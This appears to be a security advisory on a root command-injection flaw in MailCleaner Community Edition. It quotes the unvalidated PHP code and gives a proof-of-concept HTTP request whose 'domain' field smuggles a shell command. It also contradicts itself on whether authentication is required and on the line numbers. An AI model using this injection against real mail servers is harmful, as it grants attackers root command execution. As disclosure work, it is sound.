In this article, I would like to share a remote code execution vulnerability details of MailCleaner Community Edition product.
Advisory Informations
Remotely Exploitable: Yes
Authentication Required: NO
Vendor URL: https://www.mailcleaner.net/
Date of found: 19 Dec 2018
Technical Details
I identified command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an operating system command under the context of the web server user which is root.
Logs.php file which located at www/soap/application/MCSoap has a vulnerability command execution code flow between lines 45-49 (following section)
static public function Logs_StartTrace($params) { $trace_id = 0; require_once('MailCleaner/Config.php'); $mcconfig = MailCleaner_Config::getInstance(); if (!isset($params['regexp']) || !$params['datefrom'] || !preg_match('/^\d{8}$/', $params['datefrom']) || !$params['dateto'] || !preg_match('/^\d{8}$/', $params['dateto']) ) { return array('trace_id' => $trace_id); } $cmd = $mcconfig->getOption('SRCDIR')."/bin/search_log.pl ".$params['datefrom']." ".$params['dateto']." '".$params['regexp']."'"; if (isset($params['filter']) && $params['filter'] != '') { $cmd .= " '".$params['filter']."'"; } if (isset($params['hiderejected']) && $params['hiderejected']) { $cmd .= ' -R '; } if (isset($params['trace_id']) && $params['trace_id']) { $trace_id = $params['trace_id']; } else { $trace_id = md5(uniqid(mt_rand(), true)); } $cmd .= " -B ".$trace_id; $cmd .= "> ".$mcconfig->getOption('VARDIR')."/run/mailcleaner/log_search/".$trace_id." &"; $res = `$cmd`; return array('trace_id' => $trace_id, 'cmd' => $cmd) ; }
As you can see, lines between 20-28 there is an operating system command execution flow. If you look at the code carefully, you can see parameters like filter has been used without validation within the command.
I’ve followed all the code flows where Logs_StartTrace has been used. One of these usage was interesting;
public function startFetchAll($params) { $trace_id = 0; $slave = new Default_Model_Slave(); $slaves = $slave->fetchAll(); foreach ($slaves as $s) { $res = $s->sendSoapRequest('Logs_StartTrace', $params); if (isset($res['trace_id'])) { $trace_id = $res['trace_id']; $params['trace_id'] = $trace_id; } else { continue; } } return $trace_id; }
As you can see, our method where we have an issue is being called through soap service.
Further analysis showed that startFecthAll method has been used within ManagetracingController like follow.
public function searchAction() { // ... OMITTED CODE ... $view->loading = $loading; $view->params = $this->getSearchParams(); $orderfield = 'date'; $orderorder = 'desc'; // ... OMITTED CODE ... } if (isset($session->trace_id) && $session->trace_id) { // ... OMITTED CODE ... } else { ## no search running, launch search if ($request->getParam('domain') != "") { $trace_id = $element->startFetchAll($params); $session->trace_id = $trace_id; } $view->loading = 1; }
Proof Of Concept
Following HTTP request successfully triggered vulnerability.
POST /admin/managetracing/search/search HTTP/1.1 Host: 12.0.0.100 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Cookie: MCSESS=3m6nk64ebqbf1jsnkc8vkmrg32; Content-Type: application/x-www-form-urlencoded Content-Length: 576 search=bMrpc&domain=';sleep 100;%26&submit=1
Metasploit Module
As usual ?